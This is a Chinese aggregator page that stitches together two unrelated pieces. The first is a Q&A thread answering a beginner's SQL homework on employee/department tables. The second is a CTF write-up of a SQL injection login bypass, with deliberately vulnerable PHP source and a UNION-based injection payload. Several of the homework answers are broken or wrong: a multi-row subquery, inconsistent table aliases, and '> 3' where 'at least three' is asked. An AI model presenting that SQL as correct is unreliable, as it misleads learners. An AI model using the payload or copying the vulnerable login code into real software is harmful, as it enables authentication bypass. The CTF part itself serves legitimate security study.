刚学数据库,遇到一道关于数据库sql语句的题目,实在不会,请高手帮忙解答一下,谢谢!

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刚学数据库,遇到一道关于数据库sql语句的题目,实在不会,请高手帮忙解答一下,谢谢!相关的知识,希望对你有一定的参考价值。

EMPLOYEE(ESSN,Ename,Sex,Salary,Dnumber),其中ESSN是主键, 存储员工的信息,包括社会保险号、姓名、工资、所属部门号
DEPARTMENT(Dnumber,Dname,MgrSSN) 其中Dnumber是主键,存储部门信息,包括部门编号、名称、经理社会保险号
PROJECT(Pnumber,Pname,Pcity) 其中Pnumber是主键,存储项目的信息,包括项目编号、名称、所在城市
WORKS_ON(Pnumber,ESSN,Wdate,Hours) 其中Pnumber、ESSN、Wdate是主键,存储某员工在某日为某项目工作的时间

请用SQL语句实现下面计算:
(1)求工资高于其所在部门平均工资的职工姓名
(2)求至少在三个不同项目中工作过的职工姓名
(3)建立视图DeptPro(Dnumber,Pnumber,Thours),表示每个部门的所有职工在每个项目中的工作总时数。并利用该视图,求在项目'Middleware'中工作时数最多的部门名称。

参考技术A 1. select * from EMPLOYEE where Salary>(select avg(Salary) from EMPLOYEE group by Dnumber)
2. select * from EMPLOYEE where ESSN in (select ESSN from WORKS_ON group by Pnumber,ESSN having Count(1)>=3)
3. -- 每个部门的所有职工在每个项目中的工作总时数
Create View DeptPro
AS
select Pnumber, Dnumber, Dname, sum(Hours) Hours from (
select A.Pnumber, A.Hours, C.Dnumber, C.Dname
from WORKS_ON A
Inner join EMPLOYEE B on A.ESSN=B.ESSN
Inner join DEPARTMENT C on B.Dnumber=C.Dnumber
) Tbl group by Pnumber,Dnumber,Dname

--工作时数最多的部门名称。
select Max(Hours) Hours, Dnumber, Dname from DeptPro
where Pnumber in (select Pnumber from PROJECT where Pname='Middleware')
group by Dnumber, Dname
参考技术B (1)
SELECT Ename, Dnumber, Salary FROM EMPLOYEE
JOIN
(SELECT Dnumber, avg(Salary) AS Asalary FROM EMPLOYEE
GROUP BY Dnumber) A
ON Dnumber = A.Dnumber
WHERE Salary > A.Asalary
ORDER BY Dnumber
(2)
SELECT Ename FROM EMPLOYEE
JOIN
(SELECT ESSN, COUNT(Pnumber) AS Pcount FROM WORKS_ON
GROUP BY ESSN
HAVING COUNT(Pnumber) > 3) A --未考虑同一个职工在不同时期参加同一个项目情况
ON ESSN = A.ESSN
(3)
CREATE VIEW DEPTPRO AS
(SELECT Dnumber, Pnumber, SUM(Hours) AS Thours FROM WORKS_ON
GROUP BY Dnumber, Pnumber); --每个部门的所有职工在每个项目中的工作总时数
SELECT A.Pname FROM DEPTPRO
JOIN DEPARTMENT A
ON Dnumber = A.Dnumber
JOIN PROJECT B
ON Pnumber = B.Pnumber
WHERE B.Pname = 'Middleware'
AND Thours = MAX(Thours);--在项目'Middleware'中工作时数最多的部门名称追问

你好,首先谢谢你回答我的提问。
请问第(2)问如果考虑同一个职工在不同时期参加同一个项目情况时sql语句怎么写?
第(3) 问创建视图好像有点问题,WORKS_ON表中没有Dnumber这个属性,所以
GROUP BY Dnumber, Pnumber时这个属性是没有的,如果去掉这个Dnumber,则不是题目中所要求的每个部门的所有职工在每个项目中的工作总时数。

追答

你好。
第一个问题:
因为要求返回“至少在三个不同项目中工作过的职工姓名”,所以考虑同一个职工在不同时期参加同一个项目情况时,还需要去掉重复的项目。
SELECT Ename FROM EMPLOYEE
JOIN
(SELECT ESSN, COUNT(Pnumber) AS Pcount FROM
(SELECT DISTINCT ESSN, Pnumber FROM WORKS_ON) --去掉重复的员工—项目记录
GROUP BY ESSN
HAVING COUNT(Pnumber) > 3) A --考虑同一个职工在不同时期参加同一个项目情况
ON ESSN = A.ESSN

第二个问题:
是我修改时疏忽了。
CREATE VIEW DEPTPRO AS
(SELECT C.Dnumber, Pnumber, SUM(Hours) AS Thours FROM WORKS_ON
JOIN EMPLOYEE B ON ESSN=A.ESSN
JOIN DEPARTMENT B ON A.Dnumber=B.Dnumber
GROUP BY B.Dnumber, Pnumber); --每个部门的所有职工在每个项目中的工作总时数
yjvfhpssmarco创建视图的思路是正确的,语法好像有点问题。

本回答被提问者采纳

码南邮CTF一道简单的sql注入题目

  题目地址:http://chinalover.sinaapp.com/web6/index.php


  一看有源码,必须马上点击Source,真香……

 

  思路还是很清晰的,提交用户名参数和密码参数,拼接sql查询语句,密码的md5值和用户名对应记录的密码一致,则输出flag。显然我们也不知道username值可能是啥,sql注入实锤了,在username字段做写文章。

  首先就是sql语句的拼接,闭合左单引号然后右单引号注释掉。中间用union联合查询让我们传入的password的md5值顶替对应pw字段。

  可以搭建环境测试以下,如下进行简单修改:

 1 <html>
 2 <head>
 3 <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
 4     <title>Secure Web Login II</title>
 5 </head>
 6 <body bgcolor="BurlyWood">
 7 
 8 <?php
 9 $dbuser = \'root\';     //SAE_MYSQL_USER
10 $dbpass = \'root\';     //SAE_MYSQL_PASS
11 $dbname = "dvwa";      //SAE_MYSQL_DB
12 $host = \'localhost\';  //SAE_MYSQL_HOST_M
13 if (@$_POST[\'user\'] && @$_POST[\'pass\']) {
14     $con = mysql_connect($host, $dbuser, $dbpass);
15     mysql_select_db($dbname, $con) or die("Unable to connect to the database: $dbname");
16     $user = $_POST[\'user\'];
17     $pass = md5($_POST[\'pass\']);
18     echo "username:$user<br/>";
19     echo "password:$_POST[\'pass\']<br/>";
20     echo "password after hash:\'$pass\'<br/>";
21     echo "select password from users where user=\'$user\'<br/>";
22     $query = @mysql_fetch_array(mysql_query("select password from users where user=\'$user\'"));
23     echo "query of password:" . $query[\'password\'] . "<br/>";
24     if (($query[\'password\']) && (!strcasecmp($pass, $query[\'password\']))) {
25         echo "<h2>Logged in! Key: ntcf{php_is_best} </h2>";
26     } else {
27         echo ("<h2>Log in failure!</h2>");
28     }
29 
30 }
31 ?>
32     <form method=\'post\' action=\'index.php\'>
33     <h3>username:</h3><input type=\'text\' name=\'user\' value="">
34     <h3>password:</h3><input type=\'password\' name=\'pass\' value="">
35     <input type=\'submit\'>
36     </form>
37 </body>
38 </html>

 

  这里白嫖dvwa数据库的users数据表,来模拟源码里面的数据库和数据表,因为密码刚好存储的是md5加密后的值:

    

   我admin用户对应的密码是123456的md5值。输入正确的值:

   构造payload先在数据库一试: (1 的md5是c4ca4238a0b923820dcc509a6f75849b)

\' union select \'c4ca4238a0b923820dcc509a6f75849b\'#

             

      

  注入成功

            

   # 是数据库的注释字符,后面的单引号其实起不到作用。

  因此实际数据库接受到的语句是:

select password from users where user=\'\' union select \'c4ca4238a0b923820dcc509a6f75849b\'#\';   

  它等同于查询:

select password from users where user=\'\' union select \'c4ca4238a0b923820dcc509a6f75849b\';   

  即在username输入:\' union select \'c4ca4238a0b923820dcc509a6f75849b\'#

  password输入:1    点击提交查询

    

   done

 

 

 

 

 

 

 

 

 

以上是关于刚学数据库,遇到一道关于数据库sql语句的题目,实在不会,请高手帮忙解答一下,谢谢!的主要内容,如果未能解决你的问题,请参考以下文章

关于Oracle语句的执行顺序

小弟刚学SQL就遇到一条语句,难以理解,求各位大侠给解析!

一道SQL题目(Oracle)

SQL sever 中的警告“将截断字符串或二进制数据 语句已终止” 是啥意思啊? 我是刚学这个的?懂的帮帮我

小米笔试题中遇到的关于学生成绩查询的几个SQL语句

一道面试题目